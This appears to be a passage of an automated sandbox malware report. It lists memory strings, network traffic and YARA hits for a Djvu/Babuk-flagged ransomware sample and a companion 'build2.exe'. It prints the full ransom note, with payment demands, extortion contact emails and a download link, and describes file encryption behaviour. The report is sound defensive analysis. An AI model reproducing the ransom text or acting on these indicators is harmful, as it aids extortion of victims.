Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1739138919.0000000000880000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: build2.exe, 00000008.00000003.1873544480.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: build2.exe, 00000008.00000003.1873544480.000000000092B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: build2.exe, 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfail
Source: build2.exe, 00000007.00000002.1730456687.0000000001A90000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://t.me/irfailAt
Source: AaIo4VGgvO.exe, 00000004.00000003.2210068073.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2164637879.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2218891472.000000000097B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137278747.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216702557.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2205257406.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220967832.00000000030D6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216522460.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2220162120.000000000097C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214521356.00000000030D4000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000006.00000002.4109983935.00000000005E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: build2.exe, 00000008.00000003.1765371505.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1798197051.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1871786470.00000000008AE000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1875287836.0000000000885000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1874465516.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1778309495.000000000088E000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1751757878.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.67.208.180:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 95.217.9.149:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.4:49752 version: TLS 1.2

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,

1_2_004822E0

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

File created: C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Found ransom note / readme

Source: C:\_README.txt

Dropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27Price of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0863PsawqSSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P

Jump to dropped file

Yara detected Babuk Ransomware

Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7540, type: MEMORYSTR

Yara detected Djvu Ransomware

Source: Yara match	File source: 3.2.AaIo4VGgvO.exe.5e615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.AaIo4VGgvO.exe.5e615a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.AaIo4VGgvO.exe.5e215a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AaIo4VGgvO.exe.5db15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.AaIo4VGgvO.exe.5dd15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.AaIo4VGgvO.exe.5e215a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.AaIo4VGgvO.exe.5db15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.AaIo4VGgvO.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.AaIo4VGgvO.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.1828199611.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1692559144.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2097684064.0000000005DB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1667869064.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.1672788679.0000000005E60000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7344, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7540, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7772, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7848, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7372, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: AaIo4VGgvO.exe PID: 7380, type: MEMORYSTR

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File moved: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File deleted: C:\Users\user\Desktop\DTBZGIOOSO\KATAXZVCPS.mp3	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File moved: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File deleted: C:\Users\user\Desktop\DVWHKMNFNN.jpg	Jump to behavior
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File moved: C:\Users\user\Desktop\NWTVCDUMOB.png	Jump to behavior

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File dropped: C:\_README.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.do not ask assistants from youtube and recovery data sites for help in recovering your data.they can use your free decryption quota and scam you.our contact is emails in this text document only.you can get and look video overview decrypt tool:https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27price of private key and decrypt software is $999.discount 50% available if you contact us first 72 hours, that's price for you is $499.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@freshingmail.topreserve e-mail address	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption settings;change encryption settings"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevices.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevices"},"system.comment":{"type":12,"value":"bluetooth and other devices settings"},"system.highkeywords":{"type":12,"value":"device;projector;projectors;pair bluetooth device;unpair device;pair device;bluetooth settings;add bluetooth device;add device"}},{"system.parsingname":{"type":12,"value":"aaa_settingspagedevicespen-2.settingcontent-ms"},"system.setting.fontfamily":{"type":12,"value":"segoe mdl2 assets"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagedevicespen"},"system.comment":{"type":12,"value":"pen and windows ink settings"},"system.highkeywords":{"type":12,"value":"pens;handedness;cursor;cursors;writing;write;workspace;pen shortcuts;h	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{0f31ce30-ed3d-4588-b294-208da23711e6}\appsglobals.txt -> decrypter\dvddecrypter.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\renderdoc\qrenderdoc.exe12438{6d809377-6af0-444b-8957-a3773f02200e}\microsoft system center 2012 r2\service manager\microsoft.enterprisemanagement.servicemanager.ui.console.exe12438microsoft.appv.603b45325cf2a147a217bc0826e85cce12439{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\pro evolution soccer 2018\pes2018.exe12439c:\ignition\ignitioncasino.exe12440{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\splashdata\splashid safe\splashid safe.exe12440{6d809377-6af0-444b-8957-a3773f02200e}\native instruments\komplete kontrol\komplete kontrol.exe1244025342asdf3333.stoppuhrtimer_1xbryz0n7krfa!app12441{6d809377-6af0-444b-8957-a3773f02200e}\owasp\zed attack proxy\zap.exe12441{6d809377-6af0-444b-8957-a3773f02200e}\dell\toad for oracle 2015 r2 suite\toad for oracle 12.8\toad.exe12441{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mysql\mysql workbench 6.0 ce\mysqlworkbench.exe12441212377tik.7tik-tiktokforwindows_da70t93mgq52j!app12442{7c	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{76cc83ea-ae96-47fc-9329-459e5ad2d67b}\0.0.filtertrie.intermediate.txt -> decryption settings~decrease zoom level~decrease volume~decrease mouse speed~decrease mouse acceleration~decrease brightness~decode~decice~deault~deaf~deafult~ddevice~daylight saving time on or off~davice~dates~date time~date settings~date and time~date and time settings~date and time from a time server~date and time formats~data~data you send to microsoft~data viewer~data usage overview~data to improve narrator~data systemwide~data settings~data sense~data saver~data restore~data plan~data limit~data instead of wifi~data for all apps~data connection with other devices~data captured by windows mixed reality~dark~darker touch feedback~dark theme~dark theme settings~dark mode systemwide~dark mode settings~dark mode for apps~dark colours~dark colors~dafault~c~cutting and pasting~cut and paste~customizing~customize~customize narrator sounds setting~customize narrator sound effects setting~customising~cust	Jump to dropped file

Writes many files with high entropy

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log entropy: 7.99329826604	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt entropy: 7.99800444488	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule440002v9.xml entropy: 7.99627612097	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133583770337995506.txt entropy: 7.99843754707	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945540884124.txt entropy: 7.99818588004	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt entropy: 7.99813000073	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt entropy: 7.99828943021	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt entropy: 7.99833893798	Jump to dropped file
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt entropy: 7.99848720002	Jump to dropped file
